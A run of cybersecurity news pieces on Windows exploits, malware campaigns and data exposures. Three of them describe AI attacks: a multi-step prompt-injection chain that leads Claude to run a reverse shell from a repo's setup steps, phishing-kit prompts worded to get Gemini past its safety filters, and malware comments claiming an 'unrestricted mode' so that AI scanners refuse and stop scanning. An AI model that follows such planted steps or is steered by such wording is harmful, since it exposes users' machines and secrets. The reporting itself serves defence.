Late spring and early summer in the cybersecurity world were marked by multiple Windows exploits, thanks to the efforts of the controversial hacker figure Nightmare Eclipse. One of the better-known exploits is BlueHammer, a race condition in Windows Defender that gets you a shell with access to the SYSTEM user with just a small script — in other words, the keys to the kingdom in exchange for a double-click. Microsoft released a patch on April 14, but as a clear illustration of the lack of cybersecurity awareness, CISA (the U.S. cyber-defense agency) yesterday marked BlueHammer as actively exploited in ransomware campaigns.

That marks about a month and a half since the patch, and it illustrates quite clearly that when it comes to computer security, the publication of a patch is almost always the easy part; getting that patch into every device that needs it is the real tricky bit. The patch is part of standard Windows updates, too, so there's really no technical reason for not installing it. Additionally, since BlueHammer gets the attackers a SYSTEM shell, the ransomware in question may encrypt parts of the OS or the boot process rather than "just" the data files, potentially making machines unusable on top.

While stating that "people don't patch their machines" is a broad statement that won't surprise anyone in the field, a recent report from security vendor Absolute claims the application of critical OS patches across Windows 11 and 10 lags 127 days (over 4 months) on average, and that figure basically doubled since last year. Even in enterprise settings, Absolute says the average time-to-patch is shockingly high at 76 days, or 2.5 months. While one vendor's claims aren't gospel, the figures aren't too hard to believe; plus, they're averages, meaning half the machines purportedly go unpatched for longer than those timeframes.

Depending on the source, estimates on the percentage of Windows 10 machines can vary between 15% (PassMark) and 26% (StatCounter). Calling it 20% for simplicity's sake, that's 1 out of 5 machines almost guaranteed to be unpatched. Techies like us know full well that Microsoft has extended security updates (ESU) for Windows 10 twice now, with the new real EOL now being October 14, 2027. The problem is, although enrolling a machine into ESU is trivial, the lack of public awareness essentially guarantees these machines will remain vulnerable until they're upgraded or replaced.

Meanwhile, Nightmare Eclipse says they're "done with taking a break", and that "July will be an incredibly interesting month because [they] will drop some really interesting and possibly insanely controversial findings."

"Think out of the box" is painted onto millions of motivation posters across the world, a shooting message for middle managers and eliciting eyerolls from most everyone else. And yet that's exactly what the researchers at Mozilla's 0din did, by tricking Claude into running malware in a roundabout yet deceptively simple way, by merely asking it to initialize a project from a pretty clean-looking GitHub repository.

An attacker would then have control over the developer's own account, accessing all their secrets, API keys, code, documents, browser sessions, and passwords. They could even install additional malware to maintain permanent access. Suffice to say, almost every bot agent is susceptible to this type of attack, though Claude is the default choice for programming tasks.

Here's how it works. All a victim developer has to do is tell Claude to initialize a project from a malicious GitHub repository (or tell it to configure it after cloning it themselves). Said repo looks pretty clean, with just a handful of scaffolding files, and most importantly, nothing that will trigger security tools, whether remote, local, or even Claude's own checks.

Claude will clone the repo. The first file it will process will be a "readme" or Markdown file describing how to initialize a Python environment with the Axiom package, a commonly used monitoring tool. So far, this appears completely legitimate. However, there's a fake Axiom startup script that will simply error out the first time it's run. This is the first step that tricks the box, because in order to be helpful and solve the problem, it'll run another innocuous-looking command to initialize Axiom: "python3 -m axiom init".

This then triggers a shell script that downloads a bit of software to run, another standard operation that won't raise an eyebrow. But the second trick is that instead of downloading from a malicious URL that could be scanned, the script reads the DNS text records of a specific domain — in this case, the domain "_axiom-config.m100.cloud". This too looks kosher enough, as for example, e-mail and by extension its configuration tools extensively rely on TXT records.

The said TXT record contains an encoded (base64) string that just opens a reverse shell, meaning it'll open a shell on the user's machine, but redirected to the attacker's server for input. At this point, the malfeasants can fish out everything that the user has access to and proceed to run software as the user. Meanwhile, all that Claude and the victim see is an "Environment ready" message or similar.

If you've been counting, this is three steps of indirection, none of which in isolation look like anything much out of the ordinary. Very few (if any) security scanning tools would even flag the repository, and none of the activity, save for the actual opening of a remote shell, even looks particularly odd. An enterprise environment with very tightly controlled network access could catch it, but that's not where the vast majority of developers operate in. It's also worth stressing that this particular implementation is just one example of a concept that can be applied to even more indirect and elaborate methods.

The 0din team concludes its report by stating the reasonably obvious: that developers should never blindly trust an unknown project as trusted code, and naturally, not trust the AI tool itself for security analysis purposes. As for the agents themselves, 0din states they need to inspect what actually will run and how, instead of simply following steps.

Attackers have spent the past several months smuggling malware into Steam through animated desktop wallpapers, hijacking the accounts of victims who install them and then using those stolen accounts to upload more infected files. That’s according to Kaspersky researchers Maxim Starodubov and Denis Brylev, who recently authored a report published on Securelist. Per the report, the malware campaign has been running since late last year and focuses on gamers in China, pushing everything from credential stealers to crypto miners and ransomware. Kaspersky found dozens of malicious packages, some downloaded tens of thousands of times before removal.

The culprit is Wallpaper Engine, a $4.99 live wallpaper tool that ranks among Steam's most-used non-game titles, with 93,000 to 114,000 concurrent users and nearly a million reviews. The app supports four wallpaper types, and one of them, the "application wallpaper," is a standalone executable Windows program that runs as the desktop background. That also makes it a pathway for third-party code to execute on a user's machine, which is exactly what attackers exploited.

Kaspersky observed two delivery methods. In some packages, the malicious EXE files, DLLs, or scripts sat directly alongside the legitimate wallpaper files. In others, the payload was tucked inside a password-protected archive, with the password either embedded in the archive name or in a JSON config file, allowing a script to open it automatically. Applying the wallpaper triggered the payload.

In a sample examined last December, the researchers managed to boot a functional desktop game while discreetly dropping a DarkKomet backdoor named Synaptics.exe and a tampered system library, AggregatorHost.dll. That library locates the running Steam app, hunts for account credentials, hijacks the live session, and ships the data to a command-and-control server. Control of an active session lets the attackers post fresh malicious wallpapers under the victim's name, which is why the campaign keeps regenerating after takedowns.

Kaspersky placed 89% of malicious download attempts in China, followed by Russia at 5.5% and smaller shares in Singapore, Hong Kong, Germany, Vietnam, India, and Canada. That concentration aligns with the wider Wallpaper Engine user base, which skews heavily toward China. Payloads spanned the DarkKomet backdoor, the Lumma and Vidar infostealers, the RenEngine loader, miners, and ransomware, a spread the researchers attributed to multiple independent groups piling onto the same technique rather than a lone threat actor or group.

This follows a run of malware reaching players through Valve's storefront over the past few years. A compromised Slay the Spire mod was distributed through the Workshop on Christmas Day 2023, the Chemia Early Access game shipped with three malware strains in July last year, and the BlockBlasters title drained roughly $150,000 from players in the following September. As of March, the FBI was seeking victims of infected Steam games dating back to 2024.

Bob is a hacker. Just over three months ago, they found serious vulnerabilities in Frontier Airlines' API and website that would let anyone with a boarding pass code for a flight retrieve every passenger's personal information, including but not limited to home address, nearly all credit card info, full passport details, and even TSA PreCheck codes. The boarding pass code (called PNR) is written on the pass itself, or scannable via its barcode; plus, since it's only six digits, it's easy to loop through, something they replicated to find several passengers' full info.

Bob notified Frontier about the problem, but the company did very little to fix it; getting a hold of the aforementioned info now required the passenger's last name, also printed on the pass. So they published a post on their blog detailing several vulnerabilities in Frontier's website.

The security vulnerability is dead simple: all you have to do is take a peek at someone's boarding pass, and either note the number and the person's last name, or scan the associated barcode. Any of these is trivial with a phone. Then you feed that info into one of Frontier's mobile API endpoints, and presto, you'll get a reply back that includes every passenger's home address, e-mail, phone number, full date of birth, full passport data, almost the entire credit card info save for the 5 middle digits and the CVV, payment history, TSA PreCheck code, and more.

All of that info is usable for identity theft, stalking, or any other number of nefarious criminal activities. The TSA PreCheck code (Known Traveler Number) is particularly concerning for airlines, as it opens the possibility of an identity thief getting past security checks. As for the credit card number, since the first six numbers and last four are exposed along with the cardholder's name and expiration date, it's easy enough to guess the middle five digits, and then the CVV code at the back becomes the sole load-bearing security feature.

This is hardly the end of it, though. As Bob came to find, the booking management pages on Frontier's website (also reachable with just the booking number and a last name) equally expose personal information in their source code and/or API requests. Standard security practices dictate that easily-accessible pages like this use the principle of data minimization, retrieving and displaying the bare minimum until absolutely necessary.

Bob found that the "Manage My Booking" page clearly shows the name, e-mail, and phone number in the source code, while that of the "Passengers / Edit" page reveals each person's full name, country, date of birth, full passport info, and TSA PreCheck number again. Ironically, Frontier attempted a fix for the former issue, only to have the fixed version reveal more info than it originally did. These pages do obscure the data for display purposes, but it's right there in the source code and API calls.

The security expert originally reached out to Frontier on March 3 and followed up on March 9, attempting to follow the standard 90-day disclosure procedure. The company fixed the one vulnerability and sent Bob a model plane for their trouble. Bob followed up with the additional data-exposing issues and started a "compensation discussion" with the company. Frontier apparently flip-flopped on a proper response. Now, Bob says Frontier's critical vulnerabilities are still live and that Frontier's passengers "deserve better."

The FBI, Google, and Lumen Technologies say they’ve dismantled a China-based phishing-as-a-service operation called Outsider Enterprise, seizing its servers and payment wallets, and instigating a civil lawsuit. Sold through a Telegram bot for as little as $88 per week, the kit allowed buyers to spin up fake bank, toll, and delivery pages in minutes, with Google's complaint alleging its operators handed out tutorials teaching subscribers to prompt Gemini for the underlying code. The FBI links the platform to roughly 3.87 million stolen credit cards and an estimated $1.9 billion in losses since July 2023.

Zero technical skill was required to operate the Outsider software. Subscribers simply paid $88 per week, or $200 per month, via a self-service Telegram bot before choosing from more than 290 pre-built templates impersonating banks, wireless carriers, government agencies, state DMVs, the U.S. Postal Service, and toll systems such as New York's E-ZPass, according to the complaint filed in the Southern District of New York.

The kit captured victim data in real time and could request SMS codes, PINs, email codes, and app approvals on demand, allowing operators to retrieve one-time passcodes for two-factor authentication. Fake E-ZPass and other toll texts have driven a wave of fraud over the past two years.

Google's filing alleges Outsider distributed step-by-step instructions, including a tutorial video, showing customers how to make Gemini write the HTML for a phishing page. The prompts were dressed up as requests for an innocuous "gift redemption page" built with inline CSS and no JavaScript, wording that was meant to read as ordinary coding help and avoid the model’s safety filters.

The resulting shell was imported back into the Outsider software and became a working scam site, multiplying the variations available from the 290 templates. Google has previously reported nation-state hackers using Gemini across phishing and intrusion campaigns, and researchers last year demonstrated a Gemini for Workspace flaw that obeyed instructions hidden inside emails. “Criminals increasingly use AI to make fraud like this more convincing and harder to detect,” said Brett Leatherman, assistant director of the FBI's Cyber Division.

The operation, dubbed Operation Ghost Hook and part of the FBI's wider Operation Riptide, seized the group's core admin domains, a Shopify storefront, and about $100,000 in USDT from Outsider payment wallets. Thousands of phishing domains registered through U.S. providers now redirect to an FBI splash page, and investigators used the group's own Telegram bot to pull data on its customers. Google's own count is narrower than the FBI's, citing hundreds of thousands of victims and 2.5 million scam texts sent to Android users over a two-week period in May.

For its civil suit, the company is pursuing claims under the Racketeer Influenced and Corrupt Organizations (RICO) Act and trademark infringement, though it concedes the unnamed defendants are unlikely to face extradition from China. The action follows a Google suit against the Lighthouse phishing platform last November, tied to more than 1 million victims across 120 countries.

Software architect Eric McDonald discovered that the infotainment system of their 2021 Honda Civic has a glaring vulnerability through its front USB port. According to the post on their blog, Honda allows the head unit of this particular vehicle to be updated via USB. However, it apparently does not have strong security measures, with the hardware only looking for a signed AOSP (Android Open Source Project) file with a publicly known test key.

If you know how to set up a USB drive and sign it with this AOSP test key, you (or anyone else, for that matter) can potentially install anything on your head unit through the update path. While this is useful for tinkerers who want to get more out of their vehicles, McDonald also noted that it can be used for an “evil maid attack.” This method of compromising hardware uses the temporary physical access of a person (like a hotel maid, for example) to install malware on equipment. In their example, they said that a journalist could leave their car with a valet, and then the said valet could install malware on their infotainment system, thus giving the vulnerability the name “EvilValet.”

Once the app or malware has been installed, it could then use the myriad sensors that vehicles have to record conversations, track locations, and even capture video recordings with the owner none the wiser. It could then use the various wireless connectivity options of the infotainment system, like Bluetooth, Wi-Fi, or even cellular, to exfiltrate the data it captured.

Note that this does not affect the safety of the vehicle since the malware is limited to the infotainment system. That means it’s still impossible for the attacker to remotely control the engine or braking systems, modify its safety features, or even unlock the vehicle. But still, this is a major privacy and security concern, especially given that the Honda Civic is such a popular model. Even though most high-value targets have specialized security that helps prevent attacks like this, it could still be used against the people around them, like their security or staff, and then use the gathered information for reconnaissance or even as leverage to gain access to the target. It’s also possible that the same vulnerability exists in other car makes and models, especially as OEMs could supply the same infotainment system hardware/software to multiple brands.

Vulnerabilities like these have been known for years in the car industry — we have a report from eight years ago where Volkswagen refused to patch a flaw that could be exploited over the internet on VW and Audi models because they don’t have OTA update capabilities. There has also been a 2017 post on WikiLeaks that suggests that the CIA looked into taking control of cars remotely through vehicle vulnerabilities. While internet connectivity and software features have made driving more convenient, the lack of even basic security is alarming. This is only bound to get worse as almost every new car available today has some form of advanced driver assistance systems, digital infotainment systems, wireless connectivity features, and more.

If you want to experiment with the head unit on your 2021 Honda Civic, McDonald built tools to make it easier to “jailbreak.” You can check out the available files on GitHub, but, as usual, you should be careful when tinkering with the infotainment system on your vehicle, as you could end up bricking it, meaning you’ll have to replace it with a new one instead.

Ever since appearing on the cybersecurity scene, Nightmare-Eclipse (aka Chaotic-Eclipse) has probably been the largest thorn in the side of the Microsoft Security Response Center. The long-running saga between Redmond and the disgruntled cybersecurity expert got a couple of new chapters this week, thanks to the release of the RoguePlanet and GreatXML exploits.

RoguePlanet is probably the nastiest one, as it takes advantage of yet another vulnerability in Windows Defender to gain SYSTEM user access privileges, letting an attacker execute commands at a privilege level even higher than the standard Administrator. The practical mechanism is simple: just fool a user into running a script, and said script will get full access to the machine, granting the ability to syphon all data, keep exfiltration malware installed, or any other number of malicious activities.

It's worth noting that RoguePlanet is dependent on a race condition seemingly between ISO mounting and Volume Shadow Copy, meaning that it's timing-based, and the exact conditions under which it can be triggered aren't guaranteed to happen every time in the victim machine. Eclipse themselves say that while they had a 100% success rate on certain installs, the exploit "struggled to work on others."

They do remark that RoguePlanet operates on a fully patched Windows system that includes the recently released June 2026 update, and that they're fairly certain that Windows Server is likewise vulnerable, necessitating a redesign of the proof-of-concept code to work around the fact that users on Server editions can't mount ISOs by default.

As for GreatXML, it's yet another BitLocker bypass. It's far less scary than YellowKey, as the exploit conditions are much more strict, but it's still somewhat of an egg-on-face moment for Microsoft. To run the bypass, an attacker needs to write a specially crafted "unattend.xml" and a "Recovery" directory to Windows' recovery partition. Then, if a Windows Defender Offline Scan is run or has been run in the past, rebooting into the recovery environment will open the BitLocker-protected drive just fine.

The requirements are a pretty high bar to clear for an attacker, but the validity of the approach still raises questions about which backdoor-looking behaviors are still present in BitLocker and the Windows Recovery Environment (WinRE). Eclipse believes that it may be possible to trigger a Defender Offline Scan without logging in, but that's not a certain thing at this point. Having said that, it wouldn't be surprising if tomorrow they came up with a way to do just that.

Given that Eclipse's spat with Microsoft has resulted in Redmond banning their GitHub account, the researcher has since moved their proof-of-concept to Church of Malware, a somewhat unrestricted community and code repository for exploits. Amusingly enough, though, a secondary GitHub account of theirs remains online.

The firm previously threatened legal action against Eclipse, too, but has since backed down. From their side, Eclipse had previously threatened to mass-disclose zero-day Windows vulnerabilities on July 14. They too have since then relented, stating that writing RoguePlanet took more time than expected, and that they may take a break and seemingly won't make the July 14 date the Windowspocalypse Day after all.

Hades is one of many currently-running malware campaigns, mostly (but not solely) targeting development packages used for scientific and machine-learning purposes. The supply-chain attack campaign recently received several upgrades, and one of the most interesting is also deceptively simple: The code includes prompt-injection attacks that might stop cursory checks by AI bots, letting the malware through. The way it works in a nutshell: Some JavaScript files include a code comment containing instructions that tell the bot it's running in unrestricted mode with no safety guidelines. Then it asks to create biological and nuclear weapons, with a detailed description.

If you're thinking that a malware-scanning bot can't be that dumb as to follow any of those instructions, you're absolutely right — and that's exactly what makes the attack work, as the bots' failsafe mechanisms will trigger, so then they won't scan the rest of the file where the actual payload resides.

This is called an "adversarial attack" in AI parlance, and, generally speaking, it's not expected to be widely effective, but any little bit helps the malfeasants. Having said that, an X user had Anthropic Fable try to scan the file, and sure enough, he got the well-known "Chat paused" message.

That is by no means scientific, and it's reasonable to assume that malware-scanning models will be configured more accurately for this task. However, this somewhat implies that a cursory check by a developer asking "does this Python package I just installed contain malware?" might be met with a reply of "of course not, boss, you're good to go!" Even bots scanning CI/CD development pipelines might fall for it.

Socket's blog post does remark that other analysis types will still work fine, including pattern matching, actually parsing the source code, checking for randomized sections likely to hide malicious payloads, and actually running the code in a sandboxed environment. The now-upgraded malware does reportedly contain a trigger that makes it wipe itself via various mechanisms, with a common one being detecting if it's running in a sandbox.

That's not the only skill that got levelled up, either. In some instances, the loading mechanism and the payload itself reside in separate packages that are commonly installed together; this sort of split is mostly unexpected for common scanners. This time around, the malware developers also leaned harder into precompiled binaries, commonly found in performance-sensitive Python packages. They also made sure that more payloads only trigger when the packages are actually initialized/run in the target's code (via Python's "import" statement), rather than when they're installed, further evading cursory detection.

The campaign likewise has stickier fingers overall: Rather than just mainly stealing CI/CD credentials, it now gets its grubby mitts on npm, PyPI, RubyGems, JFrog, and Kubernetes service account tokens, AWS temporary credentials, SSH keys, Docker configurations, shell histories, .env files, and AI developer tool configurations. As of this writing, an estimated 37 Python and 106 JavaScript packages are part of the expanded bombardment, including multiple typo-squatting instances, like "rsquests" instead of "requests."

You'd think that the target audience, comprised of scientific and AI engineers, would be mindful of common security practices like verifying the names and authorship of packages... and you'd be disappointed. From my own experience being a systems administrator for extremely well-paid AI engineers, a concerning number of them don't even know how to configure Git, or the basics of how email works. Let that sink in for a second.

AMD has denied a security researcher a $10,000 bug bounty despite the individual's work and cooperation with the company. Regulars at this pub might remember an article a while back about a security researcher who diagnosed a potential remote code execution (RCE) via a man-in-the-middle attack (MITM) in AMD's auto-updater software. Paul, the researcher, submitted a report at AMD's bug bounty program website, expecting both a fix and a payout for an RCE-class bug. The report was turned down as MITM attacks weren't covered by the program's policy. Nevertheless, Paul took down the blog post describing the situation due to AMD's request. It's now come back online, and the whole situation merits a facepalm or three.

First, the good news: the updater is now seemingly secured, and you if you download the latest version of AMD's software pack, you ought to get a fixed version. The road to this point has been far from smooth, though, and to this day, Paul seemingly never saw a dime for his efforts, a story that is becoming commonplace if Microsoft's issues with Nightmare-Eclipse are anything to go by. An RCE bug would otherwise be worth $10,000 if AMD fully acquiesced the significance of problem.

The updated post contains the full story, and it goes as follows: Back in February, when AMD asked Paul to bring down the blog post temporarily, the company said it would issue a standard CVE, fix the software, and attribute the findings to him, though a bounty payment was out of the question. Paul agreed (a decision he now regrets), though he asked what kind of timeline AMD would follow, suggesting the industry-standard 90-day window until he posted the public disclosure again.

AMD replied saying that it would "likely need a longer embargo, as additional tools beyond Ryzen Master appear[ed] to be impacted and [would] need releases." That was an interesting statement in several ways: first, it raises the question exactly why AMD would need so long to publish what was seemingly a one-character fix, replacing "http" with "https" in the code. Second, if the issue was bad enough to require so long to solve, then arguably Paul's work would merit some recompense. Third, as Paul pointed out, if this issue looked this pressing, why didn't it have a higher priority?

Nevertheless, he ended up agreeing on a 100-day window, and asked AMD the equivalent of "wassup?" before the clock ticked its last tock, only to be asked for extra time again, being told that "multiple tools are affected by [the bug]", and that "[AMD's] customers request additional time once [the fixes] are made available." Eventually, AMD reached out stating that a fix would be ready on June 9, totaling 124 days after the initial finding.

To its credit, AMD seemingly reengineered the download code in the autoupdater altogether, and Paul verified that the new version does indeed download drivers securely, though he remarks that the software only checks the validity of the downloaded file using the ancient CRC32 hash that isn't considered cryptographically secure anymore.

Here's where irony strikes, though: according to a Reddit user, the bug that Paul found seemingly wouldn't be triggered anyway, as the relevant section of the code wasn't being called to begin with, meaning the updater was broken. So AMD couldn't update the updater because the updating code couldn't update, necessitating a fresh download on behalf of users. Quis renovatores renovat indeed.

Security researcher Rasmus Moorats has demonstrated that Creative's Sound Blaster Katana V2X gaming soundbar can be hijacked over Bluetooth from roughly 16 yards (15 meters) away, with no pairing or physical contact, in a blog post published on June 3. By exploiting an unauthenticated Bluetooth interface and the absence of firmware signing, an attacker can flash custom firmware onto the speaker over the air, turning the USB-connected device into a keyboard that types commands into the host PC. Creative, which was contacted through Singapore's national cyber response team, took close to two months to reply and concluded the behavior was not a security risk, leaving owners of the ~$280 soundbar without an official patch.

The Katana V2X communicates with Creative's desktop app via a proprietary protocol that Moorats refers to as the Creative Transfer Protocol (CTP). Over USB, the speaker requires a challenge-response handshake before accepting any command, but over Bluetooth Low Energy, the same protocol accepts the same commands without authentication or pairing, so any device in range could read settings, change them, or push firmware. The firmware itself carries no cryptographic signature, only a SHA-256 checksum that Moorats recomputed after editing the image.

To weaponize that, he edited the speaker's USB descriptor set so that the device reported itself as a keyboard, on top of the limited media controls it already provided. The firmware ran a modified build of FreeRTOS, and instead of writing fresh keystroke-injection code, Moorats overwrote an unused diagnostic task with one that waits for the USB subsystem to come up, then types and runs a command on every boot. His proof of concept printed "echo pwned," but the same routine could open PowerShell and paste a malicious one-liner.

Reprogramming a trusted USB peripheral into a keyboard is how BadUSB works, which is the technique Karsten Nohl and Jakob Lell presented at Black Hat back in 2014, when they warned that most USB controllers shipped without firmware authenticity checks.

Those attacks required someone to plug in a doctored device, but Moorats managed to remove that step, since the malicious peripheral here is hardware the victim already owns and trusts, rewritten from across a room. We’ve seen similar patterns in other consumer gear over the years, including an internet-connected bed whose firmware exposed the owner's home network and the BlueBorne flaws that handed attackers control of Bluetooth devices without pairing.

Getting in touch with the speaker’s manufacturer, Creative, was the harder part of the work, Moorats wrote, because the only way to contact the company is via its support web form. After two failed attempts, he instead reported the company via the Singapore Cyber Emergency Response Team (SingCERT), which itself struggled to get a response.

Creative's eventual reply, according to his account, was that they “do not consider this to be a vulnerability, as it does not present a cybersecurity risk.” Moorats ultimately ended up doing Creative’s work for it, releasing a tool that downloads Creative's official firmware, patches out CTP-over-Bluetooth, and reflashes the speaker over USB. Doing so likely breaks Creative's mobile app, however, and Moorats noted that adding proper authentication is hard without the company's source code. Bluetooth on the speaker stays on even in sleep mode, with no obvious way to disable it.

An IT blogger claims to have uncovered a high-impact security vulnerability in Microsoft Outlook, which was reportedly found to have been silently downgrading secure SSL/TLS connections to unencrypted plaintext without telling anyone. This appears to affect at least Outlook 2007 through 2016, and possibly even later versions, though that's as of yet unconfirmed if this behavior is present from Outlook 2019 onwards.

The report came by way of a blog post at Marius World, where the writer describes how they came across the issue after upgrading their mail servers from Fedora 42 to Fedora Server 43 (released in October 2025). Marius started getting complaints from customers unable to receive emails. All got the same error message from the mail server: "Cleartext authentication disallowed on non-secure (SSL/TLS) connections". This meant the user's mail client was trying to use an unencrypted connection, something that's been deprecated by systems administrators for decades.

Marius realized that all the affected people were using Outlook, from versions 2007 through 2016 at least. Worst of all, seemingly everyone actually had the "Use TLS/SSL" checkbox enabled, meaning that protocol security had been downgraded silently all along. The bug can be triggered by having port 110 selected and using the POP3 protocol. Having TLS forced on should have prompted the client to move to port 995 automatically, or at least attempt a TLS connection at 110 anyway. Yet Outlook just happily proceeds without encryption. "Customers have likely been retrieving their emails in plaintext for over a decade, mistakenly believing encryption was enabled," Marius states.

The reason why Fedora server administrators only recently started seeing this behavior is that version 43 upgraded the Dovecot SMTP/IMAP mail server to 2.4.3, a version that got a backend disabling unencrypted authentication altogether. Likely reasons why the issue wasn't found sooner are that nowadays the default mail account type is IMAP, and that Outlook's default configuration sets port 995 for POP3 as the default. Even still, there's a bet that a significant number of users are affected, particularly in environments that have to support many configurations, like web hosting.

The mitigation is fairly simple: check your Outlook account settings, and if you're using POP3, ensure that the connection port is 995. Having your email go through an unencrypted connection means anyone in your network or in the path to your server can happily read it, exposing not only your communications, but also those of other people. Marius also notes that this situation is technically a EU GDPR violation, since the law implicitly mandates that any customer data is sent via encrypted connections.

The Great Exploitation of 2026 continues apace, with security vulnerabilities being published at an alarming rate, and more often than not, being exploited in the wild almost before anyone has any time to react. Today, Microsoft in the unfortunate limelight, with a 9.8-rated remote execution vulnerability affecting Windows Server domain controllers (DC), versions 2012 to current. The exploit and its explanation are simple: any unauthenticated user in the same network can send a malformed UDP packet to a DC and potentially get system access — no previous access required. Even if an attacker doesn't go that far, it's trivial for anyone to force the DC to reboot, creating potential denial-of-service scenarios.

The vulnerability is CVE-2026-41089, and it's mercifully not a zero-day this time. The vulnerable service is Netlogon, and there's apparently no mitigation, with the only solution being to patch the affected systems. The patch itself arrives in the May 12 Patch Tuesday, but there's a fair chance that a lot of DCs remain unpatched, particularly but not only older versions. Systems administrators might also find specific patch links and remediation scripts handy.

If an attacker can finagle this vulnerability to get System-level of access to domain controllers, the consequences are pretty up to the imagination. The malfeasant can create any number of accounts with all sorts of access levels, including Kerberos Ticket-Granting Tickets, enabling access to most all data across the entire domain. Since DCs often operate as part of a larger network in medium-to-large enterprises, just one vulnerable machine is enough to make the entire network insecure. Cybersecurity boffins recommend that administrators treat this as a worm-style threat and patch all their linked DCs at once, to avoid playing a game of whack-a-mole with high odds for the moles.

Microsoft stated that the vulnerability was not made public at the time, and that no ongoing attacks were using it, but the situation has changed since the discovery date, as recent reports have confirmed that it's now being exploited in the wild. As far as proof-of-concept goes, there's a GitHub repository with some sample code that forces the LSASS service to crash after a minute or so.

The technical details are simple and somewhat facepalm-inducing. The crafted network packet that triggers the vulnerability doesn't have anything all that fancy about it; it just contains one field that's larger than it should be. Data serialization logic in the Netlogon service combines the attacker-supplied data with the server's hostname, resulting in a classic buffer overflow — the most straightforward type of vulnerability.

Microsoft has been in security news quite often recently, mostly thanks to its ongoing spat with security researcher Chaotic Eclipse (aka Nightmare Eclipse), who published a heap of zero-days exploits after apparent negotiations with the company broke down. The situation is unclear, but has escalated to the point where Microsoft is now threatening Eclipse with legal action.

Security researchers at Graz University of Technology in Austria have published a paper describing a side-channel attack that lets a malicious website identify what other sites and apps a visitor has open by measuring SSD access latency through JavaScript inside a standard browser sandbox. The technique, called FROST (Fingerprinting Remotely using OPFS-based SSD Timing), correctly identified visited websites with roughly 89% accuracy and running applications with roughly 96% accuracy on a test Mac, requires nothing from the victim beyond visiting the attacker's page, and works across different browsers.

FROST exploits the Origin Private File System (OPFS), a browser API that lets websites create and store files on a user's local disk without prompting for permission. Previous SSD side-channel attacks that we’ve seen require native code running through privileged kernel interfaces, but FROST eliminates that requirement.

The team disclosed their findings to Google, Apple, and Mozilla: Google said it doesn’t consider fingerprinting a security vulnerability, Apple called the attack "currently out of scope," and Mozilla acknowledged the findings without implementing fixes.

The attack creates a large OPFS file on the victim's SSD, with both Chrome and Safari allowing a website to claim up to 60% of total disk space through OPFS, which on a 256GB drive is over 150GB. The file must exceed the system's available RAM so that every random 4 KB read hits the SSD rather than the OS’s page cache. When other activity generates its own disk I/O, it creates measurable latency spikes in the attacker's reads, and those timing patterns are fed into a convolutional neural network trained to recognize specific websites and applications by their I/O signatures.

Because the contention occurs at the storage level, the attack works across browsers; running the attacker page in Chrome while the victim browsed in Safari showed only a 3.38% throughput difference versus a same-browser attack.

The full fingerprinting attack was only tested on an M2 Mac Mini with 8GB of RAM and a 256GB SSD. On Linux, the researchers confirmed they could measure SSD latency from the browser, but didn’t run the full fingerprinting classification, and Windows wasn’t tested at all. The OPFS file must also reside on the same physical SSD as the monitored activity, which isn’t guaranteed on multi-drive workstations.

By far the biggest barrier to this attack is the large file size; most people will notice tens or hundreds of gigabytes suddenly disappearing, but the researchers propose mitigations, including capping OPFS file sizes to fit within system memory or requiring explicit permission for OPFS file creation. Given that Google doesn’t classify fingerprinting as a security issue, browser-level fixes are unlikely in the near term.

There seems to be no end in sight for serious, wide-ranging security vulnerabilities these days. The ever-popular open-source archive-handling utility 7-Zip is now in the spotlight due to an 8.8-rated CVE vulnerability in its archive-opening procedure. If a user simply opens a booby-trapped crafted archive (.7z, .zip, .rar, etc) on a machine with at least 16 GB of RAM, they'll be running malicious code. Extracting the archive isn't necessary; only opening it is enough. We recommend that everyone immediately update to the latest version, 26.01, published in late April; all previous versions are vulnerable.

This is a particularly "oh sugar honey ice tea" moment because of how widespread 7-Zip is in practice. Most people would only think of the Windows graphical application, but every command-line variant is vulnerable across multiple operating systems. 7-Zip doesn't have any built-in update mechanisms, relying instead on user-initiated updates or package management systems.

The Windows application being vulnerable is bad enough; however, one needs to add millions of command-line scripts that are indirectly vulnerable, as are CI/CD workflows. Anything that so much as calls any variant of the "7z" binary and opens a poisoned archive, even if just to list the contents, is at risk.

Adding fuel to the fire, a good number of Linux distributions come with long-outdated "p7zip" ports of the utility. Heck, just think of a server that automatically lists archive contents for some reason, and it's almost certainly vulnerable. Sourceforge lists some 400 million 7-Zip downloads, while Chocolatey has 24.5 million, so adding to that copious amounts of Linux servers and VMs, we could be discussing hundreds of millions of vulnerable machines.

But wait, there's more. The open nature of 7z means that its base libraries are included among a wealth of third-party software. Potential targets for exploitation include anti-virus scanners, backup and automation tools, log analysis software, malware analysis with automated scanning, and even many file managers.

In practice, the aforementioned software doesn't require user intervention to ingest a poisoned archive, and the situation gets worse because a good portion of it runs with elevated permissions. All things considered, it's reasonable to guess that almost every computer and server has some exploitable 7-Zip binary or code that's vulnerable to what amounts to a drive-by attack.

Some cursory testing of our own shows that Ubuntu 24, Ubuntu 26, and RHEL 8 all carry vulnerable versions. If all that wasn't bad enough, many OEM systems include 7-Zip by default because it's great, open, and free. The "p7zip" package is common across Fedora; many Docker images also run on mainline versions.

The actual vulnerability is fairly complicated to describe, but pertains to a part of code that 7-Zip can use to open NTFS disk images. Opening .ntfs and .img disk images has long been a feature of 7-Zip, and there's a bug in the code that allows an attacker to provide incorrect values for a buffer, which in turn can be made bigger than intended and contain malicious code to be executed. If by now you're thinking "I don't use those file types", 7-Zip doesn't use the file extension to determine its type — it relies on the file's first few bytes, so providing a malicious NTFS image inside a .7z, .rar, .zip (and others) will work just fine.

There's been some drama unfolding lately in the Windows security world, and today's episode comes from yet another apparent run-in of researcher Nightmare-Eclipse (aka Chaotic Eclipse) against Microsoft. The company saw fit to ban Eclipse's GitHub account for as-of-yet unspecified reasons, forcing them to pack up and move shop to GitLab instead. Additionally, the Redmond firm had allegedly already deleted the Microsoft account Eclipse used for reporting the bugs.

In a blog post, Eclipse claims this action was vindictive, stating once again that Microsoft refused communication attempts and that they "got zero pennies from doing so", a likely allusion to unpaid bug bounties from the MSRC program. The initiative pays out up to $30,000 to $100,000 for per end-point zero-day depending on conditions, and a cool $250,000 if you can crack open Hyper-V. Already having six zero-day exploits under their belt, Eclipse claims that July 14 will bring a reckoning of sorts for the company, hypothetically in the form of more zero-day exploits being published.

